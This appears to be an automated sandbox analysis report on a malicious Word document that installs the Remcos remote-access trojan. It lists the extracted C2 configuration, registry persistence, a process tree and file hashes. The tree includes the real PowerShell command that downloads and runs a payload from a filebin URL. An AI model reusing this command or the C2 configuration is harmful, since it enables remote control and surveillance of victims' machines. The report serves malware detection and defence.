remcos | 5189b2a9e69b48ef464f8f59ab722717ab162eb33ab7f493791f13e28d59473e

Analysis

max time kernel
153s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
30-03-2022 05:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Shahini Ferramenta.doc
Size

69KB
MD5

e5f86454862a7288a5fceb215872cd6f
SHA1

c9586e701a4bb90423f0e4ccf09290b2642c1d39
SHA256

5189b2a9e69b48ef464f8f59ab722717ab162eb33ab7f493791f13e28d59473e
SHA512

aac53e51bef7c7640fac1aa973aef0d4d72b46be3698e0f7fdbff98648727d3fdff47cfd59539426e27d2832e604aa6815f6c74b29624ab555c3b5b806457839

Score

10^/10

remcos tuesday discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

TUESDAY

achimumuazi.hopto.org:2311

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
Remcos-5UAINN
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
notepad;solitaire;

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 4 IoCs

Processes:

msiexec.exepowershell.exe

flow pid process

13 4488 msiexec.exe
15 4488 msiexec.exe
27 4404 powershell.exe
28 4404 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

new.EXENEW-FILE.exe

pid process

948 new.EXE
212 NEW-FILE.exe
Loads dropped DLL 3 IoCs

Processes:

MsiExec.exe

pid process

1428 MsiExec.exe
1428 MsiExec.exe
1428 MsiExec.exe
Modifies file permissions 1 TTPs 2 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

ICACLS.EXEICACLS.EXE

pid process

1644 ICACLS.EXE
5068 ICACLS.EXE

flow	pid	process
13	4488	msiexec.exe
15	4488	msiexec.exe
27	4404	powershell.exe
28	4404	powershell.exe

pid	process
948	new.EXE
212	NEW-FILE.exe

pid	process
1428	MsiExec.exe
1428	MsiExec.exe
1428	MsiExec.exe

pid	process
1644	ICACLS.EXE
5068	ICACLS.EXE

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

new.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	new.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	new.EXE

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exe

description	ioc	process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe

Drops file in Windows directory 13 IoCs

Processes:

msiexec.exeEXPAND.EXE

description	ioc	process
File opened for modification	C:\Windows\Installer\MSI8D3D.tmp	msiexec.exe
File created	C:\Windows\Installer\1cd5e1d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE
File opened for modification	C:\Windows\Installer\MSI63F8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8D2C.tmp	msiexec.exe
File created	C:\Windows\Installer\{56ADB097-3F5E-46D8-95B0-8502CA413AC3}\ProductIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{56ADB097-3F5E-46D8-95B0-8502CA413AC3}\ProductIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8E86.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5C37.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 3 IoCs

Processes:

msiexec.exe

description	ioc	process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\1E\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1f	msiexec.exe

Modifies registry class 24 IoCs

Processes:

msiexec.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\790BDA65E5F38D64590B5820AC14A33C\ProductFeature	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41F1971E925D11F4F82E165B9F3C92D2	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41F1971E925D11F4F82E165B9F3C92D2\790BDA65E5F38D64590B5820AC14A33C	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\SourceList\URL\SourceType = "2"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\SourceList\URL\1 = "https://filebin.net/chd313qsab7e4ta9/"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\790BDA65E5F38D64590B5820AC14A33C	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\ProductName = "Internet Explorer - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\PackageCode = "27B0865342D5DEE4BB085DC2E811B79B"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\Version = "184568417"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\SourceList\URL	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\ProductIcon = "C:\\Windows\\Installer\\{56ADB097-3F5E-46D8-95B0-8502CA413AC3}\\ProductIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\SourceList\PackageName = "new.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\790BDA65E5F38D64590B5820AC14A33C\SourceList\LastUsedSource = "u;1;https://filebin.net/chd313qsab7e4ta9/"	msiexec.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1092 WINWORD.EXE
1092 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

msiexec.exepowershell.exe

pid process

4488 msiexec.exe
4488 msiexec.exe
4404 powershell.exe
4404 powershell.exe

pid	process
1092	WINWORD.EXE
1092	WINWORD.EXE

pid	process
4488	msiexec.exe
4488	msiexec.exe
4404	powershell.exe
4404	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WINWORD.EXEmsiexec.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	1092	WINWORD.EXE
Token: SeIncreaseQuotaPrivilege	1092	WINWORD.EXE
Token: SeSecurityPrivilege	4488	msiexec.exe
Token: SeCreateTokenPrivilege	1092	WINWORD.EXE
Token: SeAssignPrimaryTokenPrivilege	1092	WINWORD.EXE
Token: SeLockMemoryPrivilege	1092	WINWORD.EXE
Token: SeIncreaseQuotaPrivilege	1092	WINWORD.EXE
Token: SeMachineAccountPrivilege	1092	WINWORD.EXE
Token: SeTcbPrivilege	1092	WINWORD.EXE
Token: SeSecurityPrivilege	1092	WINWORD.EXE
Token: SeTakeOwnershipPrivilege	1092	WINWORD.EXE
Token: SeLoadDriverPrivilege	1092	WINWORD.EXE
Token: SeSystemProfilePrivilege	1092	WINWORD.EXE
Token: SeSystemtimePrivilege	1092	WINWORD.EXE
Token: SeProfSingleProcessPrivilege	1092	WINWORD.EXE
Token: SeIncBasePriorityPrivilege	1092	WINWORD.EXE
Token: SeCreatePagefilePrivilege	1092	WINWORD.EXE
Token: SeCreatePermanentPrivilege	1092	WINWORD.EXE
Token: SeBackupPrivilege	1092	WINWORD.EXE
Token: SeRestorePrivilege	1092	WINWORD.EXE
Token: SeShutdownPrivilege	1092	WINWORD.EXE
Token: SeDebugPrivilege	1092	WINWORD.EXE
Token: SeAuditPrivilege	1092	WINWORD.EXE
Token: SeSystemEnvironmentPrivilege	1092	WINWORD.EXE
Token: SeChangeNotifyPrivilege	1092	WINWORD.EXE
Token: SeRemoteShutdownPrivilege	1092	WINWORD.EXE
Token: SeUndockPrivilege	1092	WINWORD.EXE
Token: SeSyncAgentPrivilege	1092	WINWORD.EXE
Token: SeEnableDelegationPrivilege	1092	WINWORD.EXE
Token: SeManageVolumePrivilege	1092	WINWORD.EXE
Token: SeImpersonatePrivilege	1092	WINWORD.EXE
Token: SeCreateGlobalPrivilege	1092	WINWORD.EXE
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe
Token: SeTakeOwnershipPrivilege	4488	msiexec.exe
Token: SeRestorePrivilege	4488	msiexec.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXENEW-FILE.exe

pid process

1092 WINWORD.EXE
1092 WINWORD.EXE
1092 WINWORD.EXE
1092 WINWORD.EXE
212 NEW-FILE.exe
1092 WINWORD.EXE
1092 WINWORD.EXE
1092 WINWORD.EXE

pid	process
1092	WINWORD.EXE
1092	WINWORD.EXE
1092	WINWORD.EXE
1092	WINWORD.EXE
212	NEW-FILE.exe
1092	WINWORD.EXE
1092	WINWORD.EXE
1092	WINWORD.EXE

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

msiexec.exeMsiExec.exenew.EXEcmd.exe

description	pid	process	target process
PID 4488 wrote to memory of 1428	4488	msiexec.exe	MsiExec.exe
PID 4488 wrote to memory of 1428	4488	msiexec.exe	MsiExec.exe
PID 4488 wrote to memory of 1428	4488	msiexec.exe	MsiExec.exe
PID 1428 wrote to memory of 1644	1428	MsiExec.exe	ICACLS.EXE
PID 1428 wrote to memory of 1644	1428	MsiExec.exe	ICACLS.EXE
PID 1428 wrote to memory of 1644	1428	MsiExec.exe	ICACLS.EXE
PID 1428 wrote to memory of 3204	1428	MsiExec.exe	EXPAND.EXE
PID 1428 wrote to memory of 3204	1428	MsiExec.exe	EXPAND.EXE
PID 1428 wrote to memory of 3204	1428	MsiExec.exe	EXPAND.EXE
PID 1428 wrote to memory of 948	1428	MsiExec.exe	new.EXE
PID 1428 wrote to memory of 948	1428	MsiExec.exe	new.EXE
PID 948 wrote to memory of 1372	948	new.EXE	cmd.exe
PID 948 wrote to memory of 1372	948	new.EXE	cmd.exe
PID 1372 wrote to memory of 4404	1372	cmd.exe	powershell.exe
PID 1372 wrote to memory of 4404	1372	cmd.exe	powershell.exe
PID 1372 wrote to memory of 212	1372	cmd.exe	NEW-FILE.exe
PID 1372 wrote to memory of 212	1372	cmd.exe	NEW-FILE.exe
PID 1372 wrote to memory of 212	1372	cmd.exe	NEW-FILE.exe
PID 1428 wrote to memory of 5068	1428	MsiExec.exe	ICACLS.EXE
PID 1428 wrote to memory of 5068	1428	MsiExec.exe	ICACLS.EXE
PID 1428 wrote to memory of 5068	1428	MsiExec.exe	ICACLS.EXE
PID 1428 wrote to memory of 2604	1428	MsiExec.exe	cmd.exe
PID 1428 wrote to memory of 2604	1428	MsiExec.exe	cmd.exe
PID 1428 wrote to memory of 2604	1428	MsiExec.exe	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Shahini Ferramenta.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1092

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4488

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 658F2305DF738BA6183374D40E2CA3BB
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1428

C:\Windows\SysWOW64\ICACLS.EXE
"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
3⤵
- Modifies file permissions
PID:1644

C:\Windows\SysWOW64\EXPAND.EXE
"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
3⤵
- Drops file in Windows directory
PID:3204

C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\files\new.EXE
"C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\files\new.EXE"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:948

C:\Windows\SYSTEM32\cmd.exe
cmd /c newfile.bat
4⤵
- Suspicious use of WriteProcessMemory
PID:1372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Invoke-WebRequest -uri https://filebin.net/zcjmkr2ooaz2x4l6/NEW_FILE.exe -o NEW-FILE.exe"
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4404

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\NEW-FILE.exe
NEW-FILE.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:212

C:\Windows\SysWOW64\ICACLS.EXE
"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\." /SETINTEGRITYLEVEL (CI)(OI)LOW
3⤵
- Modifies file permissions
PID:5068

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\files"
3⤵
PID:2604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\NEW-FILE.exe
Filesize
462KB

MD5
32b9acd9504f3f4930b3f0d15197c670

SHA1
6ba97b5ebbede658b47009808c4fa2575bb35efd

SHA256
da609d3211d60d5b11feaeaa717834cbe86e18103a1ed4fc09c2ee3e1cff9442

SHA512
3d87446fadcb4ded1f081d31dc45881bf3f3f075d7108aca04f7001d8044c54ee70095f140040f15185174a5f6527c51e37812eb437ff3bbd1edfd1fc41d4521

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\NEW-FILE.exe
Filesize
462KB

MD5
32b9acd9504f3f4930b3f0d15197c670

SHA1
6ba97b5ebbede658b47009808c4fa2575bb35efd

SHA256
da609d3211d60d5b11feaeaa717834cbe86e18103a1ed4fc09c2ee3e1cff9442

SHA512
3d87446fadcb4ded1f081d31dc45881bf3f3f075d7108aca04f7001d8044c54ee70095f140040f15185174a5f6527c51e37812eb437ff3bbd1edfd1fc41d4521

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\newfile.bat
Filesize
141B

MD5
9d58dd13188e8866b8b35b983d5f325e

SHA1
336626d0bbff62be43c06a8f81fcd7b800f5170e

SHA256
74b3d545da69dcb0b01485ea7228264760c14be1e02e93246aaa0081a954d118

SHA512
0e0c569fa51dd313c0748d7bb4222e1b9909c216cad47ae036a1f16e819b1486e4365488b5e3e6b3657a903cf45ca0ad053afcafb33c5fa273981c1732fffd84

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\files.cab
Filesize
154KB

MD5
4ca3f13f663c6642e86385b16135091a

SHA1
cf702e60f418ddcfd0335567262c32fe68b04315

SHA256
fd852cf9fde6e989008e158d1ec4fc62092a62b8f3a586fd510deffdfc2ffca9

SHA512
3839a45a7fb209b8600d06707c8b50f183522c2924c6fee4ec9642290e077504d7193b6d58610ca3c516ac5d86341a83c8eca8928d4a76f67cf213176cfa96bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\files\new.EXE
Filesize
154KB

MD5
1dd8ebed84b3c8d1cbfff041af690950

SHA1
ed951544befc41dcb8fee77aadaa7f684678cb60

SHA256
2b5c02c1257a29683a40d350bd3237e0eed1f610e013c154f5fbe661362d56f2

SHA512
4a38efbe84a4a8a93ed123949b0e051f0ce11d174a19ca09c20a9cb326df18a8fab79f8b8f3d221c80a761004220809ad832dc0c8cb03e8a96c06ddbd985de7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\files\new.EXE
Filesize
154KB

MD5
1dd8ebed84b3c8d1cbfff041af690950

SHA1
ed951544befc41dcb8fee77aadaa7f684678cb60

SHA256
2b5c02c1257a29683a40d350bd3237e0eed1f610e013c154f5fbe661362d56f2

SHA512
4a38efbe84a4a8a93ed123949b0e051f0ce11d174a19ca09c20a9cb326df18a8fab79f8b8f3d221c80a761004220809ad832dc0c8cb03e8a96c06ddbd985de7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\msiwrapper.ini
Filesize
1KB

MD5
652cccfbc43ceee3369c09165142fd9b

SHA1
b96729bb8825544a07c00db520f2ec4689f7c375

SHA256
6a40e416ea92e559e4c59e07770eaf0d388e543d5d29f809bf9545d613ff1922

SHA512
9280ded7f77093a38e12f24ba570a8400f2afcc34e84dee1e836c4dfe695d0e149e7d38f97595181d08d80db6fe38da9f2db4233d6d0d4ca2dfb175ca192a535

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-adab3c7a-c1cb-4d43-b0c4-8d63fe1dc2f5\msiwrapper.ini
Filesize
1KB

MD5
b0131803fa4b83e09f8b1eb36cc19a4f

SHA1
449fab54587d8b127892b99ccd1fe0670ebb1d4d

SHA256
8bc4af2c0021eabdf4cbe97209ac6329694245ed169a17939e514bc760f49b92

SHA512
ee01578ec79377dc44235fa74a1934c0af804c144773a61070cd04ef2c20354c1d0781758e6aba9cabb5fe32b0e0d1cb74c3aed178e1ee32d68f417c3dfd681a

Download Submit
C:\Windows\Installer\MSI63F8.tmp
Filesize
208KB

MD5
4caaa03e0b59ca60a3d34674b732b702

SHA1
ee80c8f4684055ac8960b9720fb108be07e1d10c

SHA256
d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d

SHA512
25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34

Download Submit
C:\Windows\Installer\MSI63F8.tmp
Filesize
208KB

MD5
4caaa03e0b59ca60a3d34674b732b702

SHA1
ee80c8f4684055ac8960b9720fb108be07e1d10c

SHA256
d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d

SHA512
25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34

Download Submit
C:\Windows\Installer\MSI8D3D.tmp
Filesize
208KB

MD5
4caaa03e0b59ca60a3d34674b732b702

SHA1
ee80c8f4684055ac8960b9720fb108be07e1d10c

SHA256
d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d

SHA512
25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34

Download Submit
C:\Windows\Installer\MSI8D3D.tmp
Filesize
208KB

MD5
4caaa03e0b59ca60a3d34674b732b702

SHA1
ee80c8f4684055ac8960b9720fb108be07e1d10c

SHA256
d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d

SHA512
25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34

Download Submit
C:\Windows\Installer\MSI8E86.tmp
Filesize
208KB

MD5
4caaa03e0b59ca60a3d34674b732b702

SHA1
ee80c8f4684055ac8960b9720fb108be07e1d10c

SHA256
d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d

SHA512
25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34

Download Submit
C:\Windows\Installer\MSI8E86.tmp
Filesize
208KB

MD5
4caaa03e0b59ca60a3d34674b732b702

SHA1
ee80c8f4684055ac8960b9720fb108be07e1d10c

SHA256
d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d

SHA512
25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34

Download Submit
memory/212-154-0x0000000000000000-mapping.dmp

Download
memory/948-144-0x0000000000000000-mapping.dmp

Download
memory/1092-166-0x00007FFCDF8F0000-0x00007FFCDF900000-memory.dmp

Filesize
64KB

Download
memory/1092-164-0x00007FFCDF8F0000-0x00007FFCDF900000-memory.dmp

Filesize
64KB

Download
memory/1092-134-0x00007FFCDF8F0000-0x00007FFCDF900000-memory.dmp

Filesize
64KB

Download
memory/1092-165-0x00007FFCDF8F0000-0x00007FFCDF900000-memory.dmp

Filesize
64KB

Download
memory/1092-135-0x00007FFCDF8F0000-0x00007FFCDF900000-memory.dmp

Filesize
64KB

Download
memory/1092-132-0x00007FFCDF8F0000-0x00007FFCDF900000-memory.dmp

Filesize
64KB

Download
memory/1092-131-0x00007FFCDF8F0000-0x00007FFCDF900000-memory.dmp

Filesize
64KB

Download
memory/1092-167-0x00007FFCDF8F0000-0x00007FFCDF900000-memory.dmp

Filesize
64KB

Download
memory/1092-133-0x00007FFCDF8F0000-0x00007FFCDF900000-memory.dmp

Filesize
64KB

Download
memory/1372-146-0x0000000000000000-mapping.dmp

Download
memory/1428-136-0x0000000000000000-mapping.dmp

Download
memory/1644-139-0x0000000000000000-mapping.dmp

Download
memory/2604-163-0x0000000000000000-mapping.dmp

Download
memory/3204-142-0x0000000000000000-mapping.dmp

Download
memory/4404-152-0x000001FEEE793000-0x000001FEEE795000-memory.dmp

Filesize
8KB

Download
